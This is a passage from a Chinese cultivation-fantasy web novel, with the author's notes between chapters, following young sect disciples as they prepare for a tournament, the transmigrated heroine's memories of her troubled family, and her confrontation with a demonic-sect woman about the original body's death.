“我体术不行,剑术也稀松平常,术法、符咒、阵法也只算是勉强过得去,照你的说法顶多算个两边形战士,哪里来的六边?”楚悯认真地数了数自己的长处与短处。 关云铮忍俊不禁,抬手在石桌上画了两道线:“平直的两条线如何能成形状?没有两边形这种形状,你也不是只有两处特长,你既是一个独立的个体,便有许多闪光的面,就算体术这些都不精通,也多的是时间来提升,迟早变成真正的六边形战士。” 谭一筠也点点头:“小悯是我们四人中进步最大的,也是最通透的,体术这些定然难不倒你。就算日后真的力有不逮,也有我们在。” 他难得不扯些花里胡哨的字眼,朴实地说了一回话,关云铮忍不住给他竖了个大拇指:“以后就这么说人话。” 楚悯被两人你一言我一语地逗笑:“别说我了,说说你们吧,有感觉到结丹的征兆吗?” 关云铮不甚在意地摇摇头:“没发热,没灵气流动,没境界不稳,应当还早着。” 这样也好,要是当真进步突飞猛进,她这根眼中钉就该往更多人心里扎了,毕竟山上这帮弟子未必都是好人。 虽然她不怎么在意其他人的看法,但会暗中使绊子的小人……还是不得不防备的。 谭一筠也如实说道:“其实我也不甚明白什么样的征兆算是结丹的征兆,大概也同云铮一样,还没到时候吧。” 他已经不再计较自己虚长的一岁,天赋一事上输给别人又不可悲,再说了小悯光是勤勉这一点,就能把他甩出好几条街,结出金丹是实至名归。 至于他,就争取……这两年能结丹吧。 **** 苏逢雨大约是心情真的很好,从山下回来时还给几位小辈都带了平日爱吃的点心,每个人的口味都没记错。 她没立刻回自己的住处,而是来关云铮和楚悯的院子待了一会儿,看了看月下逢的变化,点评道:“与我想的差不多,是这个时候。” 关云铮不太明白她具体指的什么,好奇道:“什么时候?” 苏逢雨说话没那么多弯弯绕绕,直白道:“能将‘律’化为己用,说明小悯已经到了通幽境了,下一步便是无相境。” 关云铮倒是还记得音修的三个境界,闻言眼睛都亮了:“破妄和通幽之间相隔这么短,是因为小悯在音修一道上大有进益?” 毕竟音修总共才三个大境界,小悯不久前才破妄,如今便通幽,跨出去了一大步,比她筑基到金丹的进步大多了。 苏逢雨颔首:“接下来通幽境会反过来助力你修为的提升,需增加每日凝神静气的时间,温养金丹,大约再过不到半年,就能抵达元婴期。” 元婴! 楚悯见关云铮的神情比自己还要兴奋,忍俊不禁:“修为一事不必急于求成,顺其自然吧。” 苏逢雨早年间为了摆脱家族掌控,很是拼命地修炼了几年,说是险些走火入魔也不为过。后来翅膀硬了脱离苏家,步调便骤然放缓下来,遇到小辈也不怎么苛求了。 她神色平淡地“嗯”了声:“都随你,平日功课本也足够了,确实不必急于一时。” 虽然苏逢雨偶尔会有言辞尖锐的时刻,但也不是个每日上赶着扎人的锥子性格,关云铮对于她这样的态度并不奇怪。但无端地,她感觉苏逢雨的身上似乎确实发生了一点变化,好像经历了什么事,对某些事的态度转变了似的。 苏逢雨对她的视线若有所觉,又将目光转向她:“怎么,有话要说?” 关云铮觉得没必要在苏逢雨面前半遮半掩,索性坦言:“您去山下的时候,发生什么事了吗?” 苏逢雨眉尾挑了挑:“猜的?” “猜的。”关云铮点点头。 苏逢雨却不大相信似的笑了笑,不过没同她往深处计较,转而说道:“我去的不是镜溪。” “那是去了哪?”楚悯疑惑。 “去了趟朝安。”苏逢雨给自己倒了盏茶,“同苍韫桢许久未见,昨日她忽然传信,让我闲暇时去找她叙叙旧。” 苍韫桢?原来她们许久未见了?之前女帝提起两人相识的时候,好像完全没听出来。 “我与苍韫桢年少时相识,有许多意见相左,见面就得吵,倒是一直有联络。”苏逢雨喝了口茶,皱眉道,“这什么茶?” 关云铮笑嘻嘻的:“奶茶。” 苏逢雨又品了品:“奇怪的味道……倒是不难喝。” 被新奇品种打了个岔,她回过神来接着说道:“在苍韫桢看来,纵使全天下的男人全都死光了,这世道也不会变好。”她似乎是笑了一声,“我年少时就是那个盼着全天下的男人全死光的。” 唔,可以理解。21世纪也有很多像您一样的。关云铮不着边际地想。 “那时我问她想要什么,她说她要挽狂澜于既倒,扶大厦之将倾*。”大概是奶茶越喝越上头,她又给自己倒了一盏,“她不关心男人究竟是死是活,固然很多问题都是男人造成的,但追究此事对她来说毫无意义。她要推翻这一切,必先夺取皇位,这样她的言语才会有人听从,才能一呼百应,万民拜服。” 嗯,要想掀翻桌子,必须先得上桌,是这么个道理没错。 苏逢雨说到这竟然叹了口气:“她猜到我与飞鸢之间应当还有些问题,主动提及此事。” 这,这这,接下来的是她们方便听的吗? 谁料苏逢雨不仅要说,还有和关云铮讨论的意思,将目光转向她:“你怎么看待用‘先生’称呼女人一事?” 关云铮本想斟酌词句,却觉得在此事上没有遮掩的必要,于是直言道:“既然这个词可以用来称呼男人,也可以用来称呼女人,那为什么不能是男人退让?既然它是用来称呼值得尊敬之人,为什么不是平庸无能的男人反思?” 21世纪性别比例严重失衡,平庸的男人那么多,为什么没有人反思自己当不当得起从前的敬称?为什么一直是女人在反思,在割让? 每一次的争吵无非是该有的权利没有得到,但每一次的争吵全都发生在群体的内部,所有的锋芒、尖锐的话语全都向内,外面会有谁能听到呼喊? 为什么要拘泥于性别,为什么要固步自封,为什么要退让?原本男女都享有的东西,为什么要随着时代的变迁、语言环境的变化就让给别人? 只要割让得了好的词,就会有下一次割让,甚至会有下一次的污名化,因为得权会放大人的贪婪,降低人的底线,纵容人的得寸进尺。 那些曾经形容女性美好品质的词语,形容女性的中性词,在越来越低俗的语言环境中被污名化,难道也要就此退让,将这些词割舍? 凭什么? 那不是我们的东西吗? 苏逢雨像是察觉到了她咽回去的这些言语,忽然朝她弯了弯眼睛:“说得对。” 150-160 第151章 纵然这一年来, 多数仙门新弟子都在归墟接受集中教习,仙门大比的筹备工作也并没有因此变得轻松几分。 光是受邀的名单就密密麻麻地写了几卷纸,长度约莫能从练武场的这头滚到那头。除了邀请归墟现有弟子们师门中的参试者, 还得邀请那些近两年没有新收弟子、所以也不曾参与教习的门派, 拉拉杂杂的一大堆。 步雁山彻底失去闲暇,术法课也被迫停了, 他只能挤出时间在学堂接受提问, 让弟子们自行温习曾教过的术法。好在先前进度飞快,该学的已经都带着学过了,还不至于太难对付。 他这一忙起来,章存舒也受了牵累——主要是师弟受苦他在一边喝茶,凌风起看不过,把步雁山那的名册抱了一摞给章存舒。 据说当时凌风起就像个喷壶, 把游手好闲的二师弟喷了个狗血淋头。 关云铮彼时在来去峰顶练刀,下山回院子时还听见叶泯心有戚戚焉地同楚悯转述。 “章先生瞬间就翻开名册勾出了几十个宾客的名字, 那手快得都能看见残影。”叶泯回想起那画面还是有些佩服。 关云铮练刀出了一身汗,渴得要命, 直接把茶壶盖子掀开, 几口喝干了。 叶泯的话音顿时哽在喉口:“怎么这么渴?” 关云铮摇了摇头,痛苦面具脸上焊:“又是冒冷汗又是出热汗,一时绞尽脑汁想还击的招数, 一时只顾得上挣命, 能御剑下来都不错了,我现在腿都是软的。” 她实在是被任嵩华打老实了,喝完一壶凉茶后人也清醒了,颓然往桌上一趴:“我跟任师姐说接下来几天不上去练刀了,打坐缓缓。” 谭一筠示意她抬起胳膊, 往她下巴底下塞了个软垫,省得石桌硌人:“打坐算什么休息?小悯打了半日的坐了,还没出来呢。” 自从金丹化形,楚悯需得花更多的时候调动灵气温养金丹,凝神静气,然而打坐并非易事,不是闭上眼稍微冥想一番就能进入那种状态的。 关云铮之前试着打过坐,不过时间不长,估计不到半个时辰,但那时她能感觉到,但凡多来一会儿,她就得从那种状态里跌出来。 这还是在任嵩华带着她的情况下,如果她自己打坐,一般会在闭上眼后没多久就跳过冥想,直接进入昏睡状态。 修仙界发展这许多年,怎么就没人修一门睡觉时提升功力的心法呢?睡觉既然能长个子、调理身体,不应该也能长修为吗? 然而这种无理取闹般的想法并不能改变她需要进行打坐的现状,修炼不是文修就是武修,哪怕她刀剑使得再出神入化,心智不坚,神魂不稳,照样会在对敌时被轻易攻破。 她说服了自己,没再耽搁,推开房门进去打坐了。 叶泯和谭一筠两个闲人坐在桌边四目相对,面面相觑。 “要不我们也去打坐?”叶泯压低了声音问道。 谭一筠也默默往脸上扣了个痛苦面具:“要不我还是练符咒吧,你练阵法。” 两害相权取其轻,叶泯很快就在对比之下接受了这个也不怎么样的提议,接过了谭一筠递过来的阵法卷册,认真翻看练习起来。 **** 名单筹备和公示阶段是最忙的,一旦与要来的人确认过消息,不再更改人员后,来客就会启程前来归墟,因着路途远近、所用方式不同,人员大多不会同时抵达,步雁山也就能稍微清净个一时半刻。 关云铮和楚悯彻底从打坐状态出来时已经是两天后,这期间楚悯几乎没怎么吃喝,关云铮只在夜里简单吃了点炉灶上温着的餐食。两人从屋里出来又正好见到一桌好菜,饶是克制如楚悯,也有点挪不开视线了。 关云铮纯粹是没辟谷,全靠意志力坚持这两天一夜的打坐,见了一桌菜再顾不上什么修炼不修炼,立刻抄起筷子大快朵颐起来。 楚悯倒是已经辟谷,但口腹之欲与辟谷其实是两回事,她自认不够超脱凡俗,对这些色香味俱全的菜品依旧无法抵抗,最终还是和关云铮一样,抄起筷子吃饭。 “掌门还没忙完,褚老和蒲先生也都在帮忙,估计接下来两日还是没人管我们,不如我们下山玩玩?”叶泯活像是被闻越附身,没过一会儿忽然没头没尾地说道。 关云铮点点头:“我没意见,就是得同师父说一声,这阵子护山大阵比往日更严密,不提前知会怕是连我们也出不去。” 谭一筠所在翠屏山虽也操办过仙门大比,但毕竟翠屏山并没有什么护山大阵,是以对此阵实际效力不甚分明,忍不住追问道:“这阵子为何要戒严?” 关云铮咬了口丸子:“不是为了防止外人进来,是为了防止里面的人出去。” 从前没有集中教习这回事时,许多仙门弟子在赶往大比场地的途中,就会被有心之人使出各种计谋拦住去路,若是遇上“名门正派”,少不得碍着自家门派脸面收敛几分,只是令人耽搁一段时间。 若是不幸遇上职业捣乱的邪修,那事情就没那么好了结了。历年来仙门大比死在路上的弟子也不少。 若不是翠屏山幻境中,遇上那“瘾君子”的是事先早有防备的她,换了其他毫无准备的人,或者她一进幻境便遇上此事,多半都得吃点苦头。 毕竟嗑了药,没轻没重,真出了什么事,还能说都是药害的,不是自己的本意,是无心之失。 好在修仙世界的精神病杀人犯法,不然不少人得白搭一条胳膊甚至性命。 总之话说回来,不同章存舒打个招呼,明日这护山大阵他们恐怕是出不去的。 关云铮吃饱喝足,将筷子放下:“我去找师父说一声。” **** 镜溪城不比青镜山,后者有护山大阵笼罩,能享受如春的四季。山下的春天夹在湿冷的冬季和燥热的夏季之间,总是显得格外短暂,因此所有的花都像是赶在这个季节里争先恐后地开了似的,四人甫一跨出山门,便被外面的姹紫嫣红迷了眼。 关云铮惊奇地发现,去往镜溪城的这条路上竟开着许多她叫不上名字的花,这才恍然般地意识到,距离她穿越到这个世界已经过去快一年了,而她初来此地时,这些花因为过了季节,早已经谢了。 也不是去年的花了。 叶泯正在前面规划今日行程,想来从前在鹧鸪山中时没少在山下城镇玩耍,此次下山也像是监狱放风,想做的事列了一箩筐。 “先前我们在翠屏山环境中,在山下那个湖里摘了不少莲子,大比的日子都差不多,想来今年也能在镜溪城吃到新鲜莲子吧?”叶泯兴致勃勃地问道。 镜溪城所在地界比翠屏山要略北一些,但两地气候差异不大,花果什么都是差不多的时间。谭一筠点点头:“就是不知道镜溪城有无荷塘。” 楚悯看了眼正走神的关云铮,答道:“闻师兄家中农庄里有出荷塘。” 正打算问问城中有无荷塘的叶泯愤慨地止住了自己的心思:“闻师兄家中农庄究竟有多大?” 楚悯思索了一番:“大约整个镜溪城郊外都算是他家农庄的范围吧,有许多农田,有鱼塘荷塘,还有好些果树。” 叶泯顿时停住自己往城里走的脚步,一转方向往城外走:“我们还是直接去农庄吧,外头的东西加起来兴许都没有农庄多。” 这倒是实话。 镜溪城是个小城,没有庞大的水系,也没有富饶的矿产,发展不了商业和矿业,城中多数人依旧要仰赖老天的脸色过活,都还是农户。 只是农户之间也有区别,有的贫农土地不多,产量不大,粮食不够自己一家人吃的;有的农户能养活自家人,余出来的一些粮食蔬果能够拿到集市上贩卖,得来的银钱又能去买些自家不产的肉类;有的农户攥着许多土地,于是逐渐摆脱了农户的身份,将土地租赁出去让别人耕种,自己收些佃租度日。 农户之外,镜溪城中还有一部分做小生意的商户,多是手艺人,做竹编小玩意的、木塑泥塑的,甚至于开酒楼的,也都是从厨子发家的,厨子自然也在手艺人之列。 闻家的农庄中,囊括了镜溪城中所有种类的人。 有贫中上三类农户,有小商户,只要跟“农”沾点边的——哪怕是打铁这样的,都在闻家农庄里有一份工。 闻家会帮着他们卖出粮食,视情况决定是抽一部分作为收入,还是收取最原始的粮食。 与此同时,农户们遇着的所有问题,闻家都会帮着解决。 譬如耕地的需要牛,打铁的需要铁料,养鸡鸭的需要幼雏,这些全由闻家提供。 某种意义上来说,是一种良好的互惠共生关系,所以没人会有怨言,没人觉得自己在被压迫剥削。 也正因其中的农户种类繁多,镜溪城中市面上的那些东西,农庄里确实都有,叶泯说的确实不错。 几人慢悠悠地往农庄走,而关云铮仍缀在最后,心不在焉地不知在想些什么。 楚悯无端觉得她此刻的状态受不得打扰,故而始终没说话,只在她前方半步远处不紧不慢地陪着。 ——关云铮在想她21世纪的家庭。 在归墟的日子并不是全然由修炼构成的,繁重的任务中总是掺杂着许多生活的轻松自在,但到底还是仙门,与人间相去甚远。除了夜里做噩梦,她不大会触景生情,想起自己的家庭。 但镜溪城不一样,它是鲜活的人间,在这里的每个人都有自己的生活轨迹,烟火气息浓重,让她每次下山都会不由自主地,想起那个21世纪的家。 如果往深了剖析,她的父母也都是农户,只不过家里子女太多,父母的父母也都心有偏颇,田地分割时顾不太上这两个孩子,分到的地还不够自己吃的,后来也就不怎么种了,改为赚点手艺人的钱。 人一旦脱离了自己熟悉的事,像一瓢井水忽然被泼进海里,是很容易迷茫的。而迷茫又容易催生冲动,她爸本来也不是什么情绪管理大师,就这样奔着远离入海口的方向汹涌而去,选择了投资经商。 他以为自己奔向的是广阔无垠的大海。 却没想到,他以为的海水只是比小溪宽阔不了多少的河流,而另一口井正从那条河中抽取着水。 他从井里出走,自以为不会成为那只眼界狭窄的青蛙,最后却还是回到了井里,败光了家里所有的钱。 从此一蹶不振。 她的母亲是个喜欢声称自己很有主见,实则没有主见的女人,一辈子都在追求社会对她的认同,所以她忍受婆婆的苛待,忍受妯娌的谩骂,忍受大姑子和小姑子的恶意挑唆,忍受丈夫被挑唆之后对她的毒打。 忍受她们……为她根本没能怀上的儿子立下的墓碑。 那是多么朴实无华的一种诅咒啊。 “你本来有个哥哥。”第一次听见这句话的关云铮还以为她的妈妈流过产。 结果就听她那神情平淡但又带着怨恨的母亲继续说道:“你当然有个哥哥了,不然为什么她们会给他立墓碑呢,她们连名字都替他取好了。” 可是为什么? “因为我嫁过来没两个月,你爷爷就死了,全家人都觉得是我克死的。”她母亲神情漠然地说,“说我属老虎,把爷爷背走了。” 关云铮彼时茫然地想:我妈妈不是属羊的吗? 这件事荒谬到每一个听到的人,都会忍不住顺着这毫无逻辑的逻辑思考下去,继而发现一个有趣的事实:从此成了寡妇的奶奶,也是属羊的。 她还记得直到她穿越到这个世界之前,每日咒骂他人,哭诉自己命苦的奶奶都还没死,比爷爷多活了三十五年。 这样的家庭,摆脱了好像是一种幸福。 但她走在去往农庄的小路上,忽然有些迷茫:21世纪的她真的死了吗? 如果,如果那个声音,那个祂,真的是此世的神明,将她带来这个世界确实寄托了某种希望在她身上,期待她能完成某件事。 那么在她完成这件事之后,她又该去往何处? 是留在这个世界,还是回到自己的世界? 好像不论选什么都不会改变现状,记得关云筝的人会越来越少,她就算回到自己的世界,原身的死亡也不会被你逆转了。 关云铮在心里叹了一口悠长的气:算了,还是找个时间问问祂吧。 这么难的决定,还是交给别人做吧—— 作者有话说:约定隔两日是6k结果没写到,所以本来是挂了请假条的,结果写到这感觉需要切章了,所以先发出来。明天手感好的话会努力连更,或者写这段时间的加更。 中秋活动好像还没结束呢,大家能多多灌溉一下这朵菇吗[可怜] 第152章 闻家的农庄他们常来, 但先前的每次活动范围都有限,这次带着将各类人各类花都看个遍的初衷,四人便没太惦记各色吃食, 到了农庄就各自往自己想去的方向走了。 谭一筠和叶泯心比天大, 纵然意识到关云铮这一路来没怎么说话,也只觉得她在钻研修炼之事, 稍微问了几句确认没问题, 就欢天喜地地撒欢去了。 楚悯有些担心关云铮的状态,却见她同自己摆摆手:“没事,想起些以前的事,我去赏赏花,不用管我。” 她说完就转身走了,走出去几步又怕楚悯不放心似的, 抬起左手再度摆了摆。 这几日没怎么练剑练刀,她穿的衣服不是窄袖的练功服, 此时袖口随着她的动作滑下去几寸,露出了腕上的撷光。 楚悯像是被那镯子安抚了似的, 轻轻叹了口气, 也转身走了。 如果有些事自己不曾切身体会的话,是没办法安慰别人的,言语是干瘪的, 既不能抚平创伤, 也不能带来慰藉。在这种情况下硬要陪在别人身边,尤其是关云铮这样的人身边,还会给她带来无形的压力,仿佛她所有的情绪都太过绵长,影响了他人一样, 会迫使她尽早收敛。 收敛自然不能解决情绪,只会让情绪在长久的积压之下变得更加具备毁灭的力量。 所以楚悯只能让她一个人散散心,不能插手。 ——关云铮自觉她现在的状态有点像游魂,只不过别的游魂是游走在生与死之间,她是游走在此世与彼世之间。 这段时间的修炼让她变得略有些紧绷,忽然到了这样乡野气息浓重的地方,也没能立刻放松下来,反而有点“过刚易折”,心里那根弦突兀地崩断了。 她面无表情地一边继续顺着田埂走着,一边抬起右手摸了摸自己左腕的脉搏。 嚯,心率一百二。 关云铮有些自嘲地笑了声:最近也没熬夜啊,难道她又在不知情的情况下焦虑了? 可惜心率无法领会她的自嘲,随着她的脚步越来越快,鼓噪得透过耳膜,轰得她头晕目眩。 关云铮被迫听了一段鼓点过度到位的电音,实在是不想再顺着节奏走下去了,怀疑再走两步心都得蹦出来。 脚下的田埂到了尽头,不远处有一排开满了花的树,关云铮拖拖拉拉地走过去,挑了棵顺眼的,在树底下坐下了。 大概也就是她的心率逐渐从一百三跌到一百的工夫,树上忽然传来一个熟悉的声音:“哎呀,我当是谁,原来是你。” 殷含绮像是在树上睡觉,被她的动静吵醒了似的,从繁密的枝丫间探出张漂亮的脸。 “你怎么在这?”关云铮对上她的视线,一时有些茫然。 不论她先前是不是在睡觉,这会儿都睡不成了,索性从树上跳了下来,还带了一袖的花瓣,纷纷扬扬地扑了关云铮一脸。 “我来赏花呀。”殷含绮一落地便又摇起了手中团扇,这个季节摇起扇子倒是当真不突兀了。 她看出关云铮的困惑,凑近看了她一会儿:“怎么,觉得我同闻越势同水火,所以不可能出现在他家农庄里?” 势同水火倒是不至于,应该是闻越单方面避她如蛇蝎。 关云铮这样想着,却没说话,原先见了她总会笑盈盈接话的样子与如今落差太大,令眼前的殷含绮顿时察觉到了某种端倪。但她也没有立刻戳破,反而凑在她眼前看了片刻,才直起腰说道:“最近睡得不好?” 何止不好,是太坏了。 她终于出声,却只是幽幽地叹了口气。 殷含绮像朵解语花似的:“仙门大比要开始了,你的师门近日来想必很是忙碌吧?” 关云铮“嗯”了声,到底没有直面她的问题,反而发问道:“殷姐姐,你认识方竞甫吗?” 殷含绮缓缓眨了眨眼,重复了一遍这个名字:“方竞甫?” “迷津渡被各派围剿的时候,鬼灯楼可有参与其中?”关云铮看着她,继续问道。 面前的漂亮女人露出个意味不明的笑:“怎么忽然这样问?” 是啊,怎么忽然这样问。 文学上,或者说诸多叙事性创作里,有一条创作原则,叫“契诃夫之槍”,如果故事的第一幕出现了一把槍,那这把槍就必须响。 然而关云铮涉猎的诸多“作品”都是没什么营养的网文,很多人只是拿个所谓的爆梗在那招摇撞骗,不怎么高地开,非常癫地走,一般不太能看到这条原则的具体应用。 不过她也不能过度指摘这类文艺作品,毕竟她本人也不太爱看高深的名著,她和网文的关系大概算是一种不情不愿的双向奔赴。 总之虽然早就知道这条创作原则,但她并没有见过太多实际的运用,直到她因为原身和自己的事情,思考得焦虑异常,心脏乱蹦,然后见到殷含绮的这一刻。 她瞬间明白了那把槍究竟是什么。 ——是殷含绮在第一次见到她时,毫无由来的善意。 **** 面对一直沉默着的关云铮,殷含绮忽地收起她手中的团扇,只见那东西竟然像楚悯的月下逢一样,可以变作光团没入虚空里。 “还想问什么?”殷含绮实在长了一张太美丽的脸,哪怕这一瞬间收起了所有的笑意,露出凛然的神色,也并不会让人心生抵触。 关云铮或许是被她师父传染了,谜语人似的反问了一句:“你应该知道我还想问什么。” 殷含绮可能是站累了,忽地露出一点不耐烦的神色来:“我确实认得关云筝。” 关云铮面无表情地一挑眉:“当然。” “我也知道她和季邕那畜生之间那点破事。”说到这,殷含绮的语气里平添了一点怒意。 “我与她并不相熟,但镜溪城太小了,鬼灯楼这几年来极速扩张,城中有很多门派的眼线,稍微有点什么……非同寻常的事,都会被汇报给我。”她接着说道。 “所以你也知道她被你们门派中的人,抓去引魂。” “当然。”殷含绮学着她方才的语气似的,“我也知道她早该死了,你并不是关云筝。” 没等关云铮做出反应,她便又接着说道:“但是真的很巧,你的名字听起来和她的一模一样,只是……最后一个字不同。” 是啊,怎么就这么巧。 “我并没有看见当时的情形,但我听那几个后来被你大师兄杀了的人说起过,关云筝当时一直在挣扎,所以引魂不彻底,她可能还有残魂停留人世。”殷含绮收起了自己脸上的笑意之后,语气一直很平静,说到这也没起什么波澜,“引魂香会确保人的魂魄被彻底燃烧殆尽后,才熄灭,所以在你进入原本属于关云筝的身体之后,这具身体上引魂香的味道也不会消散。” 那是因为香仍在她不知晓的角落里燃烧着。 “这事很邪门,那几个人立刻就向我禀明了,没过几天……” “你就见到了下山调查此事的我。”关云铮接话道。 “如果你现在问起这件事,是想事后问罪,那确实由不得我辩解。”殷含绮神色平淡地结束了这段回忆。 事后问罪是没什么意义的。因为人已经死了,就算用各种手段“报仇雪恨”,作恶的人死了,已经死的人也回不来了。 何况她心里其实一直有这个猜测,只不过因为种种事情没往深处想而已。说白了,是因为她清楚原身已经死了,做什么都只是徒劳,所以不想去往深处想。既然是她自己不情愿,不主动去问,那也怪不得别人没有坦诚。 毕竟她不诚心,怨不得别人。更何况她与殷含绮本来就不是同一个立场的人。 不是因为殷含绮是邪修,是因为她们在这件事上出现了严重的观念分歧。 对殷含绮来说,纵然她自己不屑于对活人用引魂术,不屑于用精魂与血气炼丹,她也不会阻止这样的事情发生,她甚至会在得知某个无辜的姑娘没能“死透”后,带着某种居心,靠近关云铮这个后来之人。 关云铮摇了摇头:“我没什么好追究的。” 她没有资格追究。 她装模作样地关心原身的家人,让闻家帮忙,让殷含绮帮忙,可她从没有及时赶到过。 她讨厌季邕,但那恨意里有几分是为了关云筝?又有几分是因为她自己对这种人有着近乎本能的厌恶? 别说指责本就顶着邪修名号的殷含绮了,她自己也是个满口仁义道德的伪君子。 殷含绮活像是会变脸,说完了正事又笑起来:“你又在自责。” 关云铮已经过了被人洞悉内心就会感到恼怒的年纪了,情绪被人看穿在她看来没什么不好的,至少比虚伪要强。 她没否认殷含绮指出的事实,也没再板着脸说些令两人都不怎么愉快的事,只是对殷含绮点了点头:“我走了,不搅你的清梦。” 殷含绮没有挽留她,却在她走出去几步远后忽然开口道:“我听过方竞甫的名字,但没有见过他。” 关云铮转回身,春日的阳光温暖和煦,不需要穿着归墟的校服,也可以让整个人维持在舒适的状态里。 殷含绮不知何时又拿起了她的“桃花面”,那扇面随着她的话音落下,似有红光闪过:“仙门鼎盛时,邪修的花样也多,人蛊并不稀缺。可如今这个世道,人蛊就成了人人争抢的稀罕物件。” 她半张脸都掩在扇面之后,看不分明神情:“你觉得……他还会造出第二个人蛊吗?”—— 作者有话说:新增营养液110评论18=3100 写不完一章的量(默认四千),就写个加更吧,争取萌混过关[可怜] 下周前三天又要在外面当牛马,也没法保证更新,写得完基础更新字数就会发的,感谢大家的包容[亲亲] BTW这个菇晚了好像六天才开始做这次中秋装扮活动,终于要在明天拿到主题壁纸了![墨镜]我这被主题壁纸拿捏的一生啊…… 第153章 归墟常年被护山大阵笼罩, 除了后山,其他地方很难听到鸟雀声,因为鸟雀也会趋利避害, 隐约察觉到那阵法并不十分好惹, 所以不大靠近法力深厚的地方,只偶然蹭一蹭法力稀薄的边缘。 虽然已经在归墟待了将近一年, 对这样“鸦雀无声”的环境有些习惯了, 但来到农庄这半日,被春风灌了一脑袋的莺歌燕语,谭一筠才意识到平日里的归墟究竟有多安静。 来去峰之前一度未被护山大阵覆盖,但以其位置来说,也远远算不上“热闹”,一年到头只有任师姐和步掌门待在上面, 各自住一间屋子。那样高的山峰,或许只有鹰隼才会在那歇脚。 不知是不是心有灵犀, 坐在一旁的叶泯忽然说道:“有件事我好奇许久了。归墟分明不短弟子的吃穿,各类法器也并不鲜见, 还有凌师伯这样的丹修, 为何外界都说归墟是破落户?”一个仙门该有的不该有的,归墟皆一应俱全,到底哪破了, 章先生那张吐不出一句真话的嘴吗? “兴许是因为成见吧。”谭一筠在藤椅里换了个舒服点的姿势, 顺便借着动作直起腰看了眼自己的钓竿,发觉漂子依旧一动不动,无声在心里叹了口气,“我听师父说过,云铮师祖那时候, 归墟刚建成,确实过了好一阵落魄的日子。” 叶泯若有所悟:“然后云铮的师祖就伙同凌师伯,把那时还是个大少爷的章先生给拐进师门当金主了?” 谭一筠一抖手腕,展开子不语,神棍似的将扇子在自己脸前扇了扇:“正解。” 真是一入师门深似海,从此纨绔是陌路啊。 叶泯可能是先天比别人多长个心窍,情绪丰富得和周围的人格格不入,惹得谭一筠不由得看了他一眼:“你别是在心疼章先生吧?有这工夫不如心疼你自己,既没钱还得被他这个有钱的出题考验。” 那点“终不似少年游”的气氛瞬间被他三两句话打破,叶泯面无表情地想:兴许这就是近墨者黑吧,大家说话的方式都越来越像云铮了。 一直安静钓鱼的楚悯忽然在此时接话道:“也可能是章先生他们纵容了谣言的四下传播。” 她方才没出声,骤然开口,叶泯和谭一筠都没能立刻反应过来。 叶泯眨了眨眼:“‘归墟是个破落户’这种谣言其实是章先生他们纵容之下的结果?” 楚悯的钓竿轻轻地沉了沉,她沉下手腕,猛地一甩竿,钓上一尾足有人两掌长的鲈鱼,鱼尾溅打出的水花泼了叶泯一脸。 好在这么多次幻境过去,叶泯对突发情况的反应已经很是熟练了,虽然根本来不及躲开,但还能做到在水溅进眼里之前把眼睛闭上。 楚悯被他的模样逗笑了:“不太熟练,见笑。” 谭一筠猛地探出半截身子,瞪着那条活蹦乱跳的鲈鱼,不可置信道:“你管这叫不太熟练?” 最后两个字因为情绪太过激动差点劈了。 叶泯顿时顾不上自己的窘态了,立刻扭回身去笑话他:“谭兄,你不会从来没钓上过鱼吧?” 谭一筠一脸沉痛地收回自己的半截身子:“初学时钓上过一条二两的鲫鱼,从那以后便再也没有收获了。” 本以为已经做足“心理准备”的叶泯闻言一愣,随后毫不收敛地大笑起来:“谭兄你要不同小悯取个经吧,怎么会一条也钓不上来?” 谭一筠恼羞成怒:“那你呢,你的竿子不也没动静?” 他话音刚落,叶泯的钓竿猛地沉了沉。 喜色在叶泯的眉梢眼角舞了起来:“多谢谭兄。” 谭一筠气绝于藤椅。 楚悯把鱼收进竹篓,没再往鱼钩上挂饵料,而是就着方才的话题接着说道:“兴许这谣言就是章先生他们主动散播出去的。” 灵犀幼时体型窜得很快,叶泯又还不会缩小符咒,哥哥和爹娘都不愿意教他,非要让他自学,因此他幼时过了很长一段时间……抱着灵犀四处走的日子。 虽说那时灵犀的体型远不如如今,但在幼童的怀里还是颇具分量的,为此他的臂力都凭空增长了一截。 后来他学会了符咒,灵犀要么绕在他腕上当个镯子,要么窝在灵笼里打盹,他也很久不曾用过这么大的劲了。 ——直到此刻。 叶泯使出幼时抱灵犀的力气,艰难地把上钩的鱼从水里拔了出来。 “嚯。”谭一筠从子不语后露出一双颇受震撼的眼,“这是多少斤的鲤鱼?” 他怀疑地看了眼眼前的鱼塘:“这鱼塘看着也不深,怎会有这样大的鱼?” 叶泯完全出于本能,将那鱼拖上岸后便甩了一道缩小符:“先凑合在篓子里待着吧。” 他干完这一串动作后,才接过楚悯的话:“章先生他们主动散播这样的谣言,对归墟来说有什么好处?就我所知而言,有不少门派都因为这个谣言,不大愿意与归墟来往。” 毕竟谁也不是章存舒那样天生的纨绔贵公子,喜欢当街撒金叶子玩,没人愿意和叫花子做朋友,更别说还是功夫比自己厉害的叫花子。 按理来说,以章存舒的能耐,那样广的人脉,不该有这么多的人对此谣言深信不疑。 另一方面来说,仙门之中自然是各自凭本领为王,章存舒得到的对待配不上他的能力,这些众人皆有目共睹。 “或许是一种筛选。”楚悯分析,“将这样荒谬的言论奉为圭臬的,本也没有结交的必要;质疑此言论甚至在听闻后仍旧与归墟来往的,则有可能是怀揣真心之人。” 但如果这个结论成立,这筛选会不会太简单了一些?好些人为了达到目的不惜做出许多有损尊严的事,只是捏着鼻子与自己看不起的人建交,怕是其中最微不足道的一类了。 谭一筠不知何时收起了子不语,忽而压低声音,从对两人说道:“你们没发现吗?章先生没有佩剑。” **** 章存舒此人,生性懒散,说出来的话大多半真不假,脸上的笑仿佛是镌刻出来的,然而同时他又颇有些本领,不论是剑修、阵修、乃至于音修,他都多少会一点,甚至能同人讲出个子丑寅卯。 然而他们来到归墟这么久,却从没有见过他的佩剑。 早先谭一筠刚来的时候,倒是偶尔会思考这个问题,后来时间一久也逐渐习惯了,甚至觉得就算章存舒拿出把扇子来和他对着扇也没什么奇怪的,毕竟此人也不是什么寻常人。 师父倒是有可能对此事有些了解,但他总觉得自家师父和章先生时常沆瀣一气,要是真去问了,能不能得到想知道的消息另说,估计先得被他二人联手坑了。 虽然仙门大比时的幻境并不完全出自章先生之手,但谭一筠确实没有与他斗智斗勇的气力了。 他根据自己对章先生及其师门的了解,逐渐推断出了一个大胆的猜测—— “或许章先生的佩剑就在归墟之中,只是出于某种原因,始终被他封存着,不到对他来说万不得已的场合,便不会动用。” 